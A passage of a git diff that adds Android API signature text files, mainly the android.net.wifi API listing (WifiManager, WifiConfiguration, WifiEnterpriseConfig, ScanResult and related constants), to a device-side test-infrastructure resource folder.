+    method @RequiresPermission(android.Manifest.permission.MANAGE_ACTIVITY_TASKS) public void setInterceptBackPressedOnTaskRoot(@NonNull android.window.WindowContainerToken, boolean);
+    method @CallSuper @RequiresPermission(android.Manifest.permission.MANAGE_ACTIVITY_TASKS) public void unregisterOrganizer();
+  }
+
+  public final class WindowContainerToken implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.window.WindowContainerToken> CREATOR;
+  }
+
+  public final class WindowContainerTransaction implements android.os.Parcelable {
+    ctor public WindowContainerTransaction();
+    method public int describeContents();
+    method @NonNull public android.window.WindowContainerTransaction reorder(@NonNull android.window.WindowContainerToken, boolean);
+    method @NonNull public android.window.WindowContainerTransaction reparent(@NonNull android.window.WindowContainerToken, @Nullable android.window.WindowContainerToken, boolean);
+    method @NonNull public android.window.WindowContainerTransaction reparentTasks(@Nullable android.window.WindowContainerToken, @Nullable android.window.WindowContainerToken, @Nullable int[], @Nullable int[], boolean);
+    method @NonNull public android.window.WindowContainerTransaction scheduleFinishEnterPip(@NonNull android.window.WindowContainerToken, @NonNull android.graphics.Rect);
+    method @NonNull public android.window.WindowContainerTransaction setActivityWindowingMode(@NonNull android.window.WindowContainerToken, int);
+    method @NonNull public android.window.WindowContainerTransaction setAdjacentRoots(@NonNull android.window.WindowContainerToken, @NonNull android.window.WindowContainerToken);
+    method @NonNull public android.window.WindowContainerTransaction setAppBounds(@NonNull android.window.WindowContainerToken, @NonNull android.graphics.Rect);
+    method @NonNull public android.window.WindowContainerTransaction setBounds(@NonNull android.window.WindowContainerToken, @NonNull android.graphics.Rect);
+    method @NonNull public android.window.WindowContainerTransaction setBoundsChangeTransaction(@NonNull android.window.WindowContainerToken, @NonNull android.view.SurfaceControl.Transaction);
+    method @NonNull public android.window.WindowContainerTransaction setFocusable(@NonNull android.window.WindowContainerToken, boolean);
+    method @NonNull public android.window.WindowContainerTransaction setHidden(@NonNull android.window.WindowContainerToken, boolean);
+    method @NonNull public android.window.WindowContainerTransaction setLaunchRoot(@NonNull android.window.WindowContainerToken, @Nullable int[], @Nullable int[]);
+    method @NonNull public android.window.WindowContainerTransaction setScreenSizeDp(@NonNull android.window.WindowContainerToken, int, int);
+    method @NonNull public android.window.WindowContainerTransaction setSmallestScreenWidthDp(@NonNull android.window.WindowContainerToken, int);
+    method @NonNull public android.window.WindowContainerTransaction setWindowingMode(@NonNull android.window.WindowContainerToken, int);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.window.WindowContainerTransaction> CREATOR;
+  }
+
+  public abstract class WindowContainerTransactionCallback {
+    ctor public WindowContainerTransactionCallback();
+    method public abstract void onTransactionReady(int, @NonNull android.view.SurfaceControl.Transaction);
+  }
+
+  public class WindowOrganizer {
+    ctor public WindowOrganizer();
+    method @RequiresPermission(android.Manifest.permission.MANAGE_ACTIVITY_TASKS) public int applySyncTransaction(@NonNull android.window.WindowContainerTransaction, @NonNull android.window.WindowContainerTransactionCallback);
+    method @RequiresPermission(android.Manifest.permission.MANAGE_ACTIVITY_TASKS) public void applyTransaction(@NonNull android.window.WindowContainerTransaction);
+  }
+
+  @UiContext public abstract class WindowProviderService extends android.app.Service {
+    ctor public WindowProviderService();
+    method public final void attachToWindowToken(@NonNull android.os.IBinder);
+    method @NonNull public int getInitialDisplayId();
+    method @Nullable public android.os.Bundle getWindowContextOptions();
+    method public abstract int getWindowType();
+  }
+
+}
+
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/apis/wifi-current.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/apis/wifi-current.txt
new file mode 100644
index 0000000..c5d9c2f
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/apis/wifi-current.txt
@@ -0,0 +1,1370 @@
+// Signature format: 2.0
+package android.net.wifi {
+
+  public abstract class EasyConnectStatusCallback {
+    field public static final int EASY_CONNECT_EVENT_FAILURE_AUTHENTICATION = -2; // 0xfffffffe
+    field public static final int EASY_CONNECT_EVENT_FAILURE_BUSY = -5; // 0xfffffffb
+    field public static final int EASY_CONNECT_EVENT_FAILURE_CANNOT_FIND_NETWORK = -10; // 0xfffffff6
+    field public static final int EASY_CONNECT_EVENT_FAILURE_CONFIGURATION = -4; // 0xfffffffc
+    field public static final int EASY_CONNECT_EVENT_FAILURE_ENROLLEE_AUTHENTICATION = -11; // 0xfffffff5
+    field public static final int EASY_CONNECT_EVENT_FAILURE_ENROLLEE_FAILED_TO_SCAN_NETWORK_CHANNEL = -14; // 0xfffffff2
+    field public static final int EASY_CONNECT_EVENT_FAILURE_ENROLLEE_REJECTED_CONFIGURATION = -12; // 0xfffffff4
+    field public static final int EASY_CONNECT_EVENT_FAILURE_GENERIC = -7; // 0xfffffff9
+    field public static final int EASY_CONNECT_EVENT_FAILURE_INVALID_NETWORK = -9; // 0xfffffff7
+    field public static final int EASY_CONNECT_EVENT_FAILURE_INVALID_URI = -1; // 0xffffffff
+    field public static final int EASY_CONNECT_EVENT_FAILURE_NOT_COMPATIBLE = -3; // 0xfffffffd
+    field public static final int EASY_CONNECT_EVENT_FAILURE_NOT_SUPPORTED = -8; // 0xfffffff8
+    field public static final int EASY_CONNECT_EVENT_FAILURE_TIMEOUT = -6; // 0xfffffffa
+    field public static final int EASY_CONNECT_EVENT_FAILURE_URI_GENERATION = -13; // 0xfffffff3
+  }
+
+  public final class ScanResult implements android.os.Parcelable {
+    ctor public ScanResult(@NonNull android.net.wifi.ScanResult);
+    ctor public ScanResult();
+    method public static int convertChannelToFrequencyMhzIfSupported(int, int);
+    method public static int convertFrequencyMhzToChannelIfSupported(int);
+    method public int describeContents();
+    method @NonNull public java.util.List<android.net.wifi.ScanResult.InformationElement> getInformationElements();
+    method public int getWifiStandard();
+    method public boolean is80211mcResponder();
+    method public boolean isPasspointNetwork();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public String BSSID;
+    field public static final int CHANNEL_WIDTH_160MHZ = 3; // 0x3
+    field public static final int CHANNEL_WIDTH_20MHZ = 0; // 0x0
+    field public static final int CHANNEL_WIDTH_40MHZ = 1; // 0x1
+    field public static final int CHANNEL_WIDTH_80MHZ = 2; // 0x2
+    field public static final int CHANNEL_WIDTH_80MHZ_PLUS_MHZ = 4; // 0x4
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.ScanResult> CREATOR;
+    field public String SSID;
+    field public static final int UNSPECIFIED = -1; // 0xffffffff
+    field public static final int WIFI_BAND_24_GHZ = 1; // 0x1
+    field public static final int WIFI_BAND_5_GHZ = 2; // 0x2
+    field public static final int WIFI_BAND_60_GHZ = 16; // 0x10
+    field public static final int WIFI_BAND_6_GHZ = 8; // 0x8
+    field public static final int WIFI_STANDARD_11AC = 5; // 0x5
+    field public static final int WIFI_STANDARD_11AD = 7; // 0x7
+    field public static final int WIFI_STANDARD_11AX = 6; // 0x6
+    field public static final int WIFI_STANDARD_11N = 4; // 0x4
+    field public static final int WIFI_STANDARD_LEGACY = 1; // 0x1
+    field public static final int WIFI_STANDARD_UNKNOWN = 0; // 0x0
+    field public String capabilities;
+    field public int centerFreq0;
+    field public int centerFreq1;
+    field public int channelWidth;
+    field public int frequency;
+    field public int level;
+    field @Deprecated public CharSequence operatorFriendlyName;
+    field public long timestamp;
+    field @Deprecated public CharSequence venueName;
+  }
+
+  public static class ScanResult.InformationElement implements android.os.Parcelable {
+    ctor public ScanResult.InformationElement(@NonNull android.net.wifi.ScanResult.InformationElement);
+    method public int describeContents();
+    method @NonNull public java.nio.ByteBuffer getBytes();
+    method public int getId();
+    method public int getIdExt();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.ScanResult.InformationElement> CREATOR;
+  }
+
+  public final class SoftApConfiguration implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public android.net.MacAddress getBssid();
+    method @Nullable public String getPassphrase();
+    method public int getSecurityType();
+    method @Nullable public String getSsid();
+    method public boolean isHiddenSsid();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.SoftApConfiguration> CREATOR;
+    field public static final int SECURITY_TYPE_OPEN = 0; // 0x0
+    field public static final int SECURITY_TYPE_WPA2_PSK = 1; // 0x1
+    field public static final int SECURITY_TYPE_WPA3_SAE = 3; // 0x3
+    field public static final int SECURITY_TYPE_WPA3_SAE_TRANSITION = 2; // 0x2
+  }
+
+  public enum SupplicantState implements android.os.Parcelable {
+    method public int describeContents();
+    method public static boolean isValidState(android.net.wifi.SupplicantState);
+    method public void writeToParcel(android.os.Parcel, int);
+    enum_constant public static final android.net.wifi.SupplicantState ASSOCIATED;
+    enum_constant public static final android.net.wifi.SupplicantState ASSOCIATING;
+    enum_constant public static final android.net.wifi.SupplicantState AUTHENTICATING;
+    enum_constant public static final android.net.wifi.SupplicantState COMPLETED;
+    enum_constant public static final android.net.wifi.SupplicantState DISCONNECTED;
+    enum_constant public static final android.net.wifi.SupplicantState DORMANT;
+    enum_constant public static final android.net.wifi.SupplicantState FOUR_WAY_HANDSHAKE;
+    enum_constant public static final android.net.wifi.SupplicantState GROUP_HANDSHAKE;
+    enum_constant public static final android.net.wifi.SupplicantState INACTIVE;
+    enum_constant public static final android.net.wifi.SupplicantState INTERFACE_DISABLED;
+    enum_constant public static final android.net.wifi.SupplicantState INVALID;
+    enum_constant public static final android.net.wifi.SupplicantState SCANNING;
+    enum_constant public static final android.net.wifi.SupplicantState UNINITIALIZED;
+  }
+
+  @Deprecated public class WifiConfiguration implements android.os.Parcelable {
+    ctor @Deprecated public WifiConfiguration();
+    ctor @Deprecated public WifiConfiguration(@NonNull android.net.wifi.WifiConfiguration);
+    method public int describeContents();
+    method @Deprecated public android.net.ProxyInfo getHttpProxy();
+    method @Deprecated @NonNull public String getKey();
+    method @Deprecated @NonNull public android.net.MacAddress getRandomizedMacAddress();
+    method @Deprecated public boolean isPasspoint();
+    method @Deprecated public void setHttpProxy(android.net.ProxyInfo);
+    method @Deprecated public void setSecurityParams(int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @Deprecated public String BSSID;
+    field @Deprecated public String FQDN;
+    field @Deprecated public static final int SECURITY_TYPE_EAP = 3; // 0x3
+    field @Deprecated public static final int SECURITY_TYPE_EAP_SUITE_B = 5; // 0x5
+    field @Deprecated public static final int SECURITY_TYPE_EAP_WPA3_ENTERPRISE = 9; // 0x9
+    field @Deprecated public static final int SECURITY_TYPE_EAP_WPA3_ENTERPRISE_192_BIT = 5; // 0x5
+    field @Deprecated public static final int SECURITY_TYPE_OPEN = 0; // 0x0
+    field @Deprecated public static final int SECURITY_TYPE_OWE = 6; // 0x6
+    field @Deprecated public static final int SECURITY_TYPE_PSK = 2; // 0x2
+    field @Deprecated public static final int SECURITY_TYPE_SAE = 4; // 0x4
+    field @Deprecated public static final int SECURITY_TYPE_WAPI_CERT = 8; // 0x8
+    field @Deprecated public static final int SECURITY_TYPE_WAPI_PSK = 7; // 0x7
+    field @Deprecated public static final int SECURITY_TYPE_WEP = 1; // 0x1
+    field @Deprecated public String SSID;
+    field @Deprecated @NonNull public java.util.BitSet allowedAuthAlgorithms;
+    field @Deprecated @NonNull public java.util.BitSet allowedGroupCiphers;
+    field @Deprecated @NonNull public java.util.BitSet allowedGroupManagementCiphers;
+    field @Deprecated @NonNull public java.util.BitSet allowedKeyManagement;
+    field @Deprecated @NonNull public java.util.BitSet allowedPairwiseCiphers;
+    field @Deprecated @NonNull public java.util.BitSet allowedProtocols;
+    field @Deprecated @NonNull public java.util.BitSet allowedSuiteBCiphers;
+    field @Deprecated public android.net.wifi.WifiEnterpriseConfig enterpriseConfig;
+    field @Deprecated public boolean hiddenSSID;
+    field @Deprecated public boolean isHomeProviderNetwork;
+    field @Deprecated public int networkId;
+    field @Deprecated public String preSharedKey;
+    field @Deprecated public int priority;
+    field @Deprecated public String providerFriendlyName;
+    field @Deprecated public long[] roamingConsortiumIds;
+    field @Deprecated public int status;
+    field @Deprecated public String[] wepKeys;
+    field @Deprecated public int wepTxKeyIndex;
+  }
+
+  @Deprecated public static class WifiConfiguration.AuthAlgorithm {
+    field @Deprecated public static final int LEAP = 2; // 0x2
+    field @Deprecated public static final int OPEN = 0; // 0x0
+    field @Deprecated public static final int SAE = 3; // 0x3
+    field @Deprecated public static final int SHARED = 1; // 0x1
+    field @Deprecated public static final String[] strings;
+    field @Deprecated public static final String varName = "auth_alg";
+  }
+
+  @Deprecated public static class WifiConfiguration.GroupCipher {
+    field @Deprecated public static final int CCMP = 3; // 0x3
+    field @Deprecated public static final int GCMP_128 = 7; // 0x7
+    field @Deprecated public static final int GCMP_256 = 5; // 0x5
+    field @Deprecated public static final int SMS4 = 6; // 0x6
+    field @Deprecated public static final int TKIP = 2; // 0x2
+    field @Deprecated public static final int WEP104 = 1; // 0x1
+    field @Deprecated public static final int WEP40 = 0; // 0x0
+    field @Deprecated public static final String[] strings;
+    field @Deprecated public static final String varName = "group";
+  }
+
+  @Deprecated public static class WifiConfiguration.GroupMgmtCipher {
+    field @Deprecated public static final int BIP_CMAC_256 = 0; // 0x0
+    field @Deprecated public static final int BIP_GMAC_128 = 1; // 0x1
+    field @Deprecated public static final int BIP_GMAC_256 = 2; // 0x2
+  }
+
+  @Deprecated public static class WifiConfiguration.KeyMgmt {
+    field @Deprecated public static final int IEEE8021X = 3; // 0x3
+    field @Deprecated public static final int NONE = 0; // 0x0
+    field @Deprecated public static final int OWE = 9; // 0x9
+    field @Deprecated public static final int SAE = 8; // 0x8
+    field @Deprecated public static final int SUITE_B_192 = 10; // 0xa
+    field @Deprecated public static final int WPA_EAP = 2; // 0x2
+    field @Deprecated public static final int WPA_PSK = 1; // 0x1
+    field @Deprecated public static final String[] strings;
+    field @Deprecated public static final String varName = "key_mgmt";
+  }
+
+  @Deprecated public static class WifiConfiguration.PairwiseCipher {
+    field @Deprecated public static final int CCMP = 2; // 0x2
+    field @Deprecated public static final int GCMP_128 = 5; // 0x5
+    field @Deprecated public static final int GCMP_256 = 3; // 0x3
+    field @Deprecated public static final int NONE = 0; // 0x0
+    field @Deprecated public static final int SMS4 = 4; // 0x4
+    field @Deprecated public static final int TKIP = 1; // 0x1
+    field @Deprecated public static final String[] strings;
+    field @Deprecated public static final String varName = "pairwise";
+  }
+
+  @Deprecated public static class WifiConfiguration.Protocol {
+    field @Deprecated public static final int RSN = 1; // 0x1
+    field @Deprecated public static final int WAPI = 3; // 0x3
+    field @Deprecated public static final int WPA = 0; // 0x0
+    field @Deprecated public static final String[] strings;
+    field @Deprecated public static final String varName = "proto";
+  }
+
+  @Deprecated public static class WifiConfiguration.Status {
+    field @Deprecated public static final int CURRENT = 0; // 0x0
+    field @Deprecated public static final int DISABLED = 1; // 0x1
+    field @Deprecated public static final int ENABLED = 2; // 0x2
+    field @Deprecated public static final String[] strings;
+  }
+
+  public class WifiEnterpriseConfig implements android.os.Parcelable {
+    ctor public WifiEnterpriseConfig();
+    ctor public WifiEnterpriseConfig(android.net.wifi.WifiEnterpriseConfig);
+    method public int describeContents();
+    method public String getAltSubjectMatch();
+    method public String getAnonymousIdentity();
+    method @Nullable public java.security.cert.X509Certificate getCaCertificate();
+    method @Nullable public java.security.cert.X509Certificate[] getCaCertificates();
+    method public java.security.cert.X509Certificate getClientCertificate();
+    method @Nullable public java.security.cert.X509Certificate[] getClientCertificateChain();
+    method @Nullable public String getClientKeyPairAlias();
+    method @Nullable public java.security.PrivateKey getClientPrivateKey();
+    method @Nullable public String getDecoratedIdentityPrefix();
+    method public String getDomainSuffixMatch();
+    method public int getEapMethod();
+    method public String getIdentity();
+    method public String getPassword();
+    method public int getPhase2Method();
+    method public String getPlmn();
+    method public String getRealm();
+    method @Deprecated public String getSubjectMatch();
+    method public boolean isAuthenticationSimBased();
+    method public boolean isEapMethodServerCertUsed();
+    method public boolean isServerCertValidationEnabled();
+    method public void setAltSubjectMatch(String);
+    method public void setAnonymousIdentity(String);
+    method public void setCaCertificate(@Nullable java.security.cert.X509Certificate);
+    method public void setCaCertificates(@Nullable java.security.cert.X509Certificate[]);
+    method public void setClientKeyEntry(java.security.PrivateKey, java.security.cert.X509Certificate);
+    method public void setClientKeyEntryWithCertificateChain(java.security.PrivateKey, java.security.cert.X509Certificate[]);
+    method public void setClientKeyPairAlias(@NonNull String);
+    method public void setDecoratedIdentityPrefix(@Nullable String);
+    method public void setDomainSuffixMatch(String);
+    method public void setEapMethod(int);
+    method public void setIdentity(String);
+    method public void setPassword(String);
+    method public void setPhase2Method(int);
+    method public void setPlmn(String);
+    method public void setRealm(String);
+    method @Deprecated public void setSubjectMatch(String);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.wifi.WifiEnterpriseConfig> CREATOR;
+    field public static final String EXTRA_WAPI_AS_CERTIFICATE_DATA = "android.net.wifi.extra.WAPI_AS_CERTIFICATE_DATA";
+    field public static final String EXTRA_WAPI_AS_CERTIFICATE_NAME = "android.net.wifi.extra.WAPI_AS_CERTIFICATE_NAME";
+    field public static final String EXTRA_WAPI_USER_CERTIFICATE_DATA = "android.net.wifi.extra.WAPI_USER_CERTIFICATE_DATA";
+    field public static final String EXTRA_WAPI_USER_CERTIFICATE_NAME = "android.net.wifi.extra.WAPI_USER_CERTIFICATE_NAME";
+    field public static final String WAPI_AS_CERTIFICATE = "WAPIAS_";
+    field public static final String WAPI_USER_CERTIFICATE = "WAPIUSR_";
+  }
+
+  public static final class WifiEnterpriseConfig.Eap {
+    field public static final int AKA = 5; // 0x5
+    field public static final int AKA_PRIME = 6; // 0x6
+    field public static final int NONE = -1; // 0xffffffff
+    field public static final int PEAP = 0; // 0x0
+    field public static final int PWD = 3; // 0x3
+    field public static final int SIM = 4; // 0x4
+    field public static final int TLS = 1; // 0x1
+    field public static final int TTLS = 2; // 0x2
+    field public static final int UNAUTH_TLS = 7; // 0x7
+    field public static final int WAPI_CERT = 8; // 0x8
+  }
+
+  public static final class WifiEnterpriseConfig.Phase2 {
+    field public static final int AKA = 6; // 0x6
+    field public static final int AKA_PRIME = 7; // 0x7
+    field public static final int GTC = 4; // 0x4
+    field public static final int MSCHAP = 2; // 0x2
+    field public static final int MSCHAPV2 = 3; // 0x3
+    field public static final int NONE = 0; // 0x0
+    field public static final int PAP = 1; // 0x1
+    field public static final int SIM = 5; // 0x5
+  }
+
+  public class WifiInfo implements android.os.Parcelable android.net.TransportInfo {
+    method public int describeContents();
+    method public String getBSSID();
+    method public int getCurrentSecurityType();
+    method public static android.net.NetworkInfo.DetailedState getDetailedStateOf(android.net.wifi.SupplicantState);
+    method public int getFrequency();
+    method public boolean getHiddenSSID();
+    method @Nullable public java.util.List<android.net.wifi.ScanResult.InformationElement> getInformationElements();
+    method @Deprecated public int getIpAddress();
+    method public int getLinkSpeed();
+    method @RequiresPermission(allOf={android.Manifest.permission.LOCAL_MAC_ADDRESS, android.Manifest.permission.ACCESS_FINE_LOCATION}) public String getMacAddress();
+    method public int getMaxSupportedRxLinkSpeedMbps();
+    method public int getMaxSupportedTxLinkSpeedMbps();
+    method public int getNetworkId();
+    method @Nullable public String getPasspointFqdn();
+    method @Nullable public String getPasspointProviderFriendlyName();
+    method public int getRssi();
+    method @IntRange(from=0xffffffff) public int getRxLinkSpeedMbps();
+    method public String getSSID();
+    method public int getSubscriptionId();
+    method public android.net.wifi.SupplicantState getSupplicantState();
+    method @IntRange(from=0xffffffff) public int getTxLinkSpeedMbps();
+    method public int getWifiStandard();
+    method @NonNull public android.net.wifi.WifiInfo makeCopy(long);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final String FREQUENCY_UNITS = "MHz";
+    field public static final String LINK_SPEED_UNITS = "Mbps";
+    field public static final int LINK_SPEED_UNKNOWN = -1; // 0xffffffff
+    field public static final int SECURITY_TYPE_EAP = 3; // 0x3
+    field public static final int SECURITY_TYPE_EAP_WPA3_ENTERPRISE = 9; // 0x9
+    field public static final int SECURITY_TYPE_EAP_WPA3_ENTERPRISE_192_BIT = 5; // 0x5
+    field public static final int SECURITY_TYPE_OPEN = 0; // 0x0
+    field public static final int SECURITY_TYPE_OSEN = 10; // 0xa
+    field public static final int SECURITY_TYPE_OWE = 6; // 0x6
+    field public static final int SECURITY_TYPE_PASSPOINT_R1_R2 = 11; // 0xb
+    field public static final int SECURITY_TYPE_PASSPOINT_R3 = 12; // 0xc
+    field public static final int SECURITY_TYPE_PSK = 2; // 0x2
+    field public static final int SECURITY_TYPE_SAE = 4; // 0x4
+    field public static final int SECURITY_TYPE_UNKNOWN = -1; // 0xffffffff
+    field public static final int SECURITY_TYPE_WAPI_CERT = 8; // 0x8
+    field public static final int SECURITY_TYPE_WAPI_PSK = 7; // 0x7
+    field public static final int SECURITY_TYPE_WEP = 1; // 0x1
+  }
+
+  public static final class WifiInfo.Builder {
+    ctor public WifiInfo.Builder();
+    method @NonNull public android.net.wifi.WifiInfo build();
+    method @NonNull public android.net.wifi.WifiInfo.Builder setBssid(@NonNull String);
+    method @NonNull public android.net.wifi.WifiInfo.Builder setCurrentSecurityType(int);
+    method @NonNull public android.net.wifi.WifiInfo.Builder setNetworkId(int);
+    method @NonNull public android.net.wifi.WifiInfo.Builder setRssi(int);
+    method @NonNull public android.net.wifi.WifiInfo.Builder setSsid(@NonNull byte[]);
+  }
+
+  public class WifiManager {
+    method @Deprecated public int addNetwork(android.net.wifi.WifiConfiguration);
+    method @NonNull @RequiresPermission(anyOf={android.Manifest.permission.NETWORK_SETTINGS, android.Manifest.permission.NETWORK_STACK, android.Manifest.permission.NETWORK_SETUP_WIZARD, android.Manifest.permission.NETWORK_MANAGED_PROVISIONING}) public android.net.wifi.WifiManager.AddNetworkResult addNetworkPrivileged(@NonNull android.net.wifi.WifiConfiguration);
+    method @RequiresPermission(android.Manifest.permission.CHANGE_WIFI_STATE) public int addNetworkSuggestions(@NonNull java.util.List<android.net.wifi.WifiNetworkSuggestion>);
+    method public void addOrUpdatePasspointConfiguration(android.net.wifi.hotspot2.PasspointConfiguration);
+    method @RequiresPermission(allOf={android.Manifest.permission.ACCESS_FINE_LOCATION, android.Manifest.permission.ACCESS_WIFI_STATE}) public void addSuggestionConnectionStatusListener(@NonNull java.util.concurrent.Executor, @NonNull android.net.wifi.WifiManager.SuggestionConnectionStatusListener);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_WIFI_STATE) public void addSuggestionUserApprovalStatusListener(@NonNull java.util.concurrent.Executor, @NonNull android.net.wifi.WifiManager.SuggestionUserApprovalStatusListener);
+    method @Deprecated public static int calculateSignalLevel(int, int);
+    method @IntRange(from=0) public int calculateSignalLevel(int);
+    method @Deprecated public void cancelWps(android.net.wifi.WifiManager.WpsCallback);
+    method public static int compareSignalLevel(int, int);
+    method public android.net.wifi.WifiManager.MulticastLock createMulticastLock(String);
+    method public android.net.wifi.WifiManager.WifiLock createWifiLock(int, String);
+    method @Deprecated public android.net.wifi.WifiManager.WifiLock createWifiLock(String);
+    method @Deprecated public boolean disableNetwork(int);
+    method @Deprecated public boolean disconnect();
+    method @Deprecated public boolean enableNetwork(int, boolean);
+    method @RequiresPermission(anyOf={android.Manifest.permission.NETWORK_SETTINGS, android.Manifest.permission.NETWORK_MANAGED_PROVISIONING, android.Manifest.permission.NETWORK_CARRIER_PROVISIONING}) public void flushPasspointAnqpCache();
+    method @NonNull @RequiresPermission(android.Manifest.permission.ACCESS_WIFI_STATE) public java.util.List<android.net.wifi.WifiConfiguration> getCallerConfiguredNetworks();
+    method @Deprecated @RequiresPermission(allOf={android.Manifest.permission.ACCESS_FINE_LOCATION, android.Manifest.permission.ACCESS_WIFI_STATE}) public java.util.List<android.net.wifi.WifiConfiguration> getConfiguredNetworks();
+    method @Deprecated public android.net.wifi.WifiInfo getConnectionInfo();
+    method @Deprecated public android.net.DhcpInfo getDhcpInfo();
+    method public int getMaxNumberOfNetworkSuggestionsPerApp();
+    method @IntRange(from=0) public int getMaxSignalLevel();
+    method @NonNull @RequiresPermission(android.Manifest.permission.ACCESS_WIFI_STATE) public java.util.List<android.net.wifi.WifiNetworkSuggestion> getNetworkSuggestions();
+    method @Deprecated @RequiresPermission(anyOf={android.Manifest.permission.NETWORK_SETTINGS, android.Manifest.permission.NETWORK_SETUP_WIZARD}) public java.util.List<android.net.wifi.hotspot2.PasspointConfiguration> getPasspointConfigurations();
+    method public java.util.List<android.net.wifi.ScanResult> getScanResults();
+    method public int getWifiState();
+    method public boolean is24GHzBandSupported();
+    method public boolean is5GHzBandSupported();
+    method public boolean is60GHzBandSupported();
+    method public boolean is6GHzBandSupported();
+    method @RequiresPermission(android.Manifest.permission.ACCESS_WIFI_STATE) public boolean isAutoWakeupEnabled();
+    method public boolean isBridgedApConcurrencySupported();
+    method @RequiresPermission(android.Manifest.permission.ACCESS_WIFI_STATE) public boolean isCarrierNetworkOffloadEnabled(int, boolean);
+    method public boolean isDecoratedIdentitySupported();
+    method @Deprecated public boolean isDeviceToApRttSupported();
+    method public boolean isEasyConnectEnrolleeResponderModeSupported();
+    method public boolean isEasyConnectSupported();
+    method public boolean isEnhancedOpenSupported();
+    method public boolean isEnhancedPowerReportingSupported();
+    method public boolean isMakeBeforeBreakWifiSwitchingSupported();
+    method public boolean isP2pSupported();
+    method public boolean isPasspointTermsAndConditionsSupported();
+    method public boolean isPreferredNetworkOffloadSupported();
+    method @Deprecated public boolean isScanAlwaysAvailable();
+    method @RequiresPermission(android.Manifest.permission.ACCESS_WIFI_STATE) public boolean isScanThrottleEnabled();
+    method public boolean isStaApConcurrencySupported();
+    method public boolean isStaBridgedApConcurrencySupported();
+    method public boolean isStaConcurrencyForLocalOnlyConnectionsSupported();
+    method public boolean isTdlsSupported();
+    method public boolean isWapiSupported();
+    method public boolean isWifiDisplayR2Supported();
+    method public boolean isWifiEnabled();
+    method public boolean isWifiStandardSupported(int);
+    method public boolean isWpa3SaeH2eSupported();
+    method public boolean isWpa3SaePublicKeySupported();
+    method public boolean isWpa3SaeSupported();
+    method public boolean isWpa3SuiteBSupported();
+    method @Deprecated public boolean pingSupplicant();
+    method @Deprecated public boolean reassociate();
+    method @Deprecated public boolean reconnect();
+    method @RequiresPermission(android.Manifest.permission.ACCESS_WIFI_STATE) public void registerScanResultsCallback(@NonNull java.util.concurrent.Executor, @NonNull android.net.wifi.WifiManager.ScanResultsCallback);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_WIFI_STATE) public void registerSubsystemRestartTrackingCallback(@NonNull java.util.concurrent.Executor, @NonNull android.net.wifi.WifiManager.SubsystemRestartTrackingCallback);
+    method @Deprecated public boolean removeNetwork(int);
+    method @RequiresPermission(android.Manifest.permission.CHANGE_WIFI_STATE) public int removeNetworkSuggestions(@NonNull java.util.List<android.net.wifi.WifiNetworkSuggestion>);
+    method @RequiresPermission(android.Manifest.permission.CHANGE_WIFI_STATE) public boolean removeNonCallerConfiguredNetworks();
+    method @Deprecated @RequiresPermission(anyOf={android.Manifest.permission.NETWORK_SETTINGS, android.Manifest.permission.NETWORK_CARRIER_PROVISIONING}) public void removePasspointConfiguration(String);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_WIFI_STATE) public void removeSuggestionConnectionStatusListener(@NonNull android.net.wifi.WifiManager.SuggestionConnectionStatusListener);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_WIFI_STATE) public void removeSuggestionUserApprovalStatusListener(@NonNull android.net.wifi.WifiManager.SuggestionUserApprovalStatusListener);
+    method @Deprecated public boolean saveConfiguration();
+    method public void setTdlsEnabled(java.net.InetAddress, boolean);
+    method public void setTdlsEnabledWithMacAddress(String, boolean);
+    method @Deprecated public boolean setWifiEnabled(boolean);
+    method @RequiresPermission(allOf={android.Manifest.permission.CHANGE_WIFI_STATE, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void startLocalOnlyHotspot(android.net.wifi.WifiManager.LocalOnlyHotspotCallback, @Nullable android.os.Handler);
+    method @Deprecated public boolean startScan();
+    method @Deprecated public void startWps(android.net.wifi.WpsInfo, android.net.wifi.WifiManager.WpsCallback);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_WIFI_STATE) public void unregisterScanResultsCallback(@NonNull android.net.wifi.WifiManager.ScanResultsCallback);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_WIFI_STATE) public void unregisterSubsystemRestartTrackingCallback(@NonNull android.net.wifi.WifiManager.SubsystemRestartTrackingCallback);
+    method @Deprecated public int updateNetwork(android.net.wifi.WifiConfiguration);
+    field public static final String ACTION_PICK_WIFI_NETWORK = "android.net.wifi.PICK_WIFI_NETWORK";
+    field public static final String ACTION_REQUEST_SCAN_ALWAYS_AVAILABLE = "android.net.wifi.action.REQUEST_SCAN_ALWAYS_AVAILABLE";
+    field public static final String ACTION_WIFI_NETWORK_SUGGESTION_POST_CONNECTION = "android.net.wifi.action.WIFI_NETWORK_SUGGESTION_POST_CONNECTION";
+    field public static final String ACTION_WIFI_SCAN_AVAILABILITY_CHANGED = "android.net.wifi.action.WIFI_SCAN_AVAILABILITY_CHANGED";
+    field @Deprecated public static final int ERROR_AUTHENTICATING = 1; // 0x1
+    field @Deprecated public static final String EXTRA_BSSID = "bssid";
+    field public static final String EXTRA_NETWORK_INFO = "networkInfo";
+    field public static final String EXTRA_NETWORK_SUGGESTION = "android.net.wifi.extra.NETWORK_SUGGESTION";
+    field public static final String EXTRA_NEW_RSSI = "newRssi";
+    field @Deprecated public static final String EXTRA_NEW_STATE = "newState";
+    field public static final String EXTRA_PREVIOUS_WIFI_STATE = "previous_wifi_state";
